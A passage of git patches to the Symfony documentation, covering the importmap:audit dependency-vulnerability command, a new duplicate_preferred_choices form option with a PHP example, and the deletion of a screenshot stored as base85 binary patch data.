+Run Security Audits on Your Dependencies
+----------------------------------------
+
+Just like ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+command allowing you to quickly have a look at security vulnerability advisories
+that may exist in the dependencies you're using in your application:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:audit
+
+This command will result in an output similar to this:
+
+.. image:: /_images/components/assetmapper/01-importmap-audit.png
+    :alt: Console output showing a table of security vulnerabilities that exist
+    in the dependencies used in the application.
+
+Additionally, the command takes a ``--format`` option to chose in which format
+the output should be. The values supported by this options are the following:
+
+* ``txt``
+* ``json``
+
+The command will return the ``0`` exit code if no vulnerability is found, or
+the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
+command as part of your CI to be warned anytime a new vulnerability is found
+in the packages you use.
+
+.. versionadded:: 6.4
+
+    The ``importmap:audit`` command was introduced in Symfony 6.4.
+
 .. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
 .. _import statement: https://caniuse.com/es6-module-dynamic-import
 .. _ES6: https://caniuse.com/es6

From 2ec5104fc2935bb6685447e97af598e80b528b12 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 11:55:29 +0200
Subject: [PATCH 3915/5766] [Form] Add `duplicate_preferred_choices` option to
 `ChoiceType`

---
 reference/forms/types/choice.rst              |  2 ++
 reference/forms/types/country.rst             |  2 ++
 reference/forms/types/currency.rst            |  2 ++
 reference/forms/types/enum.rst                |  2 ++
 reference/forms/types/language.rst            |  2 ++
 reference/forms/types/locale.rst              |  2 ++
 .../duplicate_preferred_choices.rst.inc       | 27 +++++++++++++++++++
 reference/forms/types/timezone.rst            |  2 ++
 8 files changed, 41 insertions(+)
 create mode 100644 reference/forms/types/options/duplicate_preferred_choices.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 8266ea1c317..09952efefc3 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -188,6 +188,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index bf24f6e0089..4d249d9524c 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -68,6 +68,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 9cffad3d9cf..a90820442a8 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -51,6 +51,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 76ac77a75f4..12fdc125177 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -159,6 +159,8 @@ This callback will group choices in 3 categories: ``Upper``, ``Lower`` and ``Oth
 
 If you return ``null``, the option won't be grouped.
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 8b301826b85..2ed8e3c402a 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -85,6 +85,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 23fafe9304f..59794c7ba4c 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -62,6 +62,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
new file mode 100644
index 00000000000..9d6d3c94a49
--- /dev/null
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -0,0 +1,27 @@
+``duplicate_preferred_choices``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When using the ``preferred_choices`` option, the selected choices are displayed
+twice by default: at the top of your list and in the complete list. You can
+change this behavior: when setting this option to ``false``, preferred choices
+will only be displayed at the top of the list.
+
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    // ...
+
+    $builder->add('language', ChoiceType::class, [
+        'choices' => [
+            'English' => 'en',
+            'Spanish' => 'es',
+            'Bork' => 'muppets',
+            'Pirate' => 'arr',
+        ],
+        'preferred_choices' => ['muppets', 'arr'],
+        'duplicate_preferred_choices' => false,
+    ]);
+
+.. versionadded:: 6.4
+
+    The ``duplicate_preferred_choices`` option was introduced in Symfony 6.4.
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 1ccb99ac611..a6564855a92 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -83,6 +83,8 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc
+
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
 .. include:: /reference/forms/types/options/multiple.rst.inc

From 68ea028805aa8bd7250fd74235ecb08545e844b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 12:46:12 +0200
Subject: [PATCH 3916/5766] Tweaks

---
 .../types/options/duplicate_preferred_choices.rst.inc      | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
index 9d6d3c94a49..72e85067bd3 100644
--- a/reference/forms/types/options/duplicate_preferred_choices.rst.inc
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -3,10 +3,9 @@
 
 **type**: ``boolean`` **default**: ``true``
 
-When using the ``preferred_choices`` option, the selected choices are displayed
-twice by default: at the top of your list and in the complete list. You can
-change this behavior: when setting this option to ``false``, preferred choices
-will only be displayed at the top of the list.
+When using the ``preferred_choices`` option, those preferred choices are displayed
+twice by default: at the top of the list and in the full list below. Set this
+option to ``false``, to only display preferred choices at the top of the list::
 
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...

From 4c92efe3e1a4220febc3d6448a092e3f59edd674 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 13:11:59 +0200
Subject: [PATCH 3917/5766] Tweaks

---
 .../assetmapper/01-importmap-audit.png        | Bin 132950 -> 0 bytes
 frontend/asset_mapper.rst                     |  43 +++++++++++-------
 2 files changed, 27 insertions(+), 16 deletions(-)
 delete mode 100644 _images/components/assetmapper/01-importmap-audit.png

diff --git a/_images/components/assetmapper/01-importmap-audit.png b/_images/components/assetmapper/01-importmap-audit.png
deleted file mode 100644
index d98b86bceb2f2f3f02f5252a51a80884e9e19d1f..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 132950
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
